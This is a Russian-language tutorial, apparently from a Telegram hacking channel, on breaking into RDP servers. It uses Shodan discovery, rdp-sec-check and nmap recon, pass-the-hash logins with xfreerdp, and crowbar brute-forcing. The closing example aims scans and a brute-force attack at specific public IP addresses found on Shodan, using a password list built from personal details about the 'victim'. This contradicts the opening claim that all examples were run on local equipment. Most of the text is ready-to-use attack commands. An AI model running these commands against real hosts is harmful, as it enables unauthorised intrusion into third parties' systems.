Pentesting RDP
https://t.me/whathacking
Ломаем RDP через Kali Linux, NMAP & Shodan
Важно! Данная информация представляет из себя лишь ознакомительный материал, который составлен исключительно для исследования и повышения навыков ИБ. Это вводная статья, а не пособие, посему все примеры производились на локальном оборудовании.

СОДЕРЖАНИЕ:
1) SHODAN
2) Сбор информации
3) Pass-The-Hash
4) BruteForce
5) Пример атаки
RDP (Remoute Desktop Protocol) - протокол для управления удалённым рабочим столом, по умолчанию использующий TCP 3389 порт.
Официальное название для клиентского ПО — Remote Desktop Connection или Terminal Services Client (TSC)
SHODAN:
Поиск систем с RDP дал такой результат:

Среди найденных систем можно выявить уязвимые и к ним подключиться.
Вот пример:

Начнём с сбора информации о системе. Пока что я не буду затрагивать раннее найденную систему, а расскажу о способах взлома RDP, чтобы в итоге с помощью полученной информации мы смогли взломать тачку.
Сбор информации:
Инструмент rdp-sec-check проверяет, какие используются алгоритмы шифрования и методы аутентификации, а также некоторые другие настройки безопасности. В конце проверки rdp-sec-check подводит краткий итог о возможных проблемах безопасности службы удалённого рабочего стола.
Установка в Kali Linux:
sudo cpan
install Encoding::BER
Ctrl+d
wget https://raw.githubusercontent.com/portcullislabs/rdp-sec-check/master/rdp-sec-check.pl
chmod +x rdp-sec-check.pl
./rdp-sec-check.pl --help
Пример использования:
./rdp-sec-check.pl IP
Если после строки "[+] Summary of security issues" (краткий перечень проблем безопасности) ничего нет, значит явных проблем не выявлено.
Также можно собрать информацию с помощью скриптов nmap.
rdp-enum-encryption - определяет уровень безопасности и шифрования.
rdp-ntlm-info - перечисляет инфу от удалённых служб RDP с включённой аутентификацией CredSSP (NLA).
rdp-vuln-ms12-020 - проверяет систему на уязвимость ms12-020
Для запуска всех скриптов сразу:
sudo nmap -p 3389 -sU -sS --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 IP
Pass-The-Hash:
В Kali Linux по умолчанию установлен опенсорсный RDP-клиент "xfreerdp", который способен подключаться к системе по хэшу. Этот хэш хранится на системе, к которой нужно подключиться в формате NT.
Команда для атаки:
xfreerdp /d:domain_name /u:Administrator/pth:8846F7EAEE8FB117AD06BDD830B7586C /v:IP
где после /d: — имя домена,
после /u: — имя пользователя,
после /pth: —хеш,
после /v: — IP сервера.
Но есть тонкость этого метода. Такой способ будет работать только для администратора, то есть подключится к юзерам из группы RDP Users нельзя.
BruteForce:
Для атаки брутфорсом рассмотрим crowbar.
Для начала установим crowbar:
sudo apt install crowbar
И подтверждаем установку, нажав клавишу Y, когда это потребуется.
В качестве цели можно указать даже целый диапазон IP-адресов с помощью опции -S file.txt, где "file.txt" - файл с IP-адресами. Опцией -s можно указать диапазон IP-адресов в формате CIDR. Если нужно указать одну цель, используется -s ip/32, где "32" - это маска.
Команда для атаки:
sudo crowbar -b rdp -U user.txt -C passwords.txt -s IP/32
-b rdp - протокол
-U user.txt - файл с юзерами
-C - файл с паролями
-s - Цель
На примере из shodan:
Возьмём раннее найденную машину и попытаемся получить к ней доступ по RDP, используя выше приведённую информацию.
Для начала соберём информацию о сервере.
Кстати, на шодане сразу указаны открытые порты и среди них есть 445 (уязвимость eternalblue или ms17_010):

Введём комманду для проверки на безопасность через rdp-sec-check:
rdp-sec-check 103.116.250.6

Как видно, на сервере явно есть проблемы. Можно воспроизвести Dos или MITM-атаку. Также здесь слабое шифрование.
Теперь введём команду для сбора информации через nmap:
sudo nmap -p 3389 -sU -sS --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12_020 103.116.250.6


Переходим в папку, куда скачали инструмент Passwords
cd Passwords
и запускаем его при помощи команды:
python3 passgen.py

Здесь потребуется ввести ключевые слова, которые известны о жертве (имя компьютера, организации, дата рождения, наименование сети и тд).

Когда вы завершите процедуру заполнения словаря впишите слово gererate и увидите как будет сгенерирован словарь.

Далее будем использовать брутофрс:
sudo crowbar -b rdp -u Administrator -C pass.txt -s 176.114.93.27/32

Подключение:
xfreerdp /f /u:пользователь /p:пароль /v:IP[:порт]

Соглашаемся с сертификатом (yes)
Для переключения полноэкранного режима на оконный:
CTRL+ALT+ENTER